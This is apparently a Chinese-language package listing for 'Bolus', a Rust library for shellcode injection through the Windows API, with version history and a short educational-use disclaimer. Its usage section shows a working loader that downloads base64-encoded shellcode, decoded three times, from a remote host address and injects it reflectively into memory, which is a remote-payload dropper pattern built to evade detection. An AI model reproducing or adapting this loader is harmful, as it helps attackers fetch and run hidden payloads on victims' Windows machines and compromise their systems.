3 个不稳定版本
0.2.0 | 2023年9月14日 |
---|---|
0.1.1 | 2023年6月4日 |
0.1.0 | 2023年6月4日 |
#9 in #shellcode
12KB
187 行
Bolus
使用 Windows API 进行 shellcode 注入的库。
警告:此代码仅用于教育目的。创建者强烈建议您仅在授权环境中使用此代码。不要犯罪。
用法
以下是一个示例实现,可以在 RustyNeedle 中观察
use bolus::{
inject,
load,
injectors::{
InjectionType,
InjectorType
}
};
/// The URL where shellcode will be downloaded from
const URL: &str = "http://1.2.3.4/note.txt";
/// The # of base64 iterations to decode
const B64_ITERATIONS: usize = 3;
fn main() -> Result<(), String> {
let injector = load(
InjectorType::Base64Url((
URL.to_string(),
B64_ITERATIONS
))
)?;
inject(
injector,
InjectionType::Reflect,
true
)
}
文档
完整文档请见 docs.rs
依赖
~144MB
~2.5M SLoC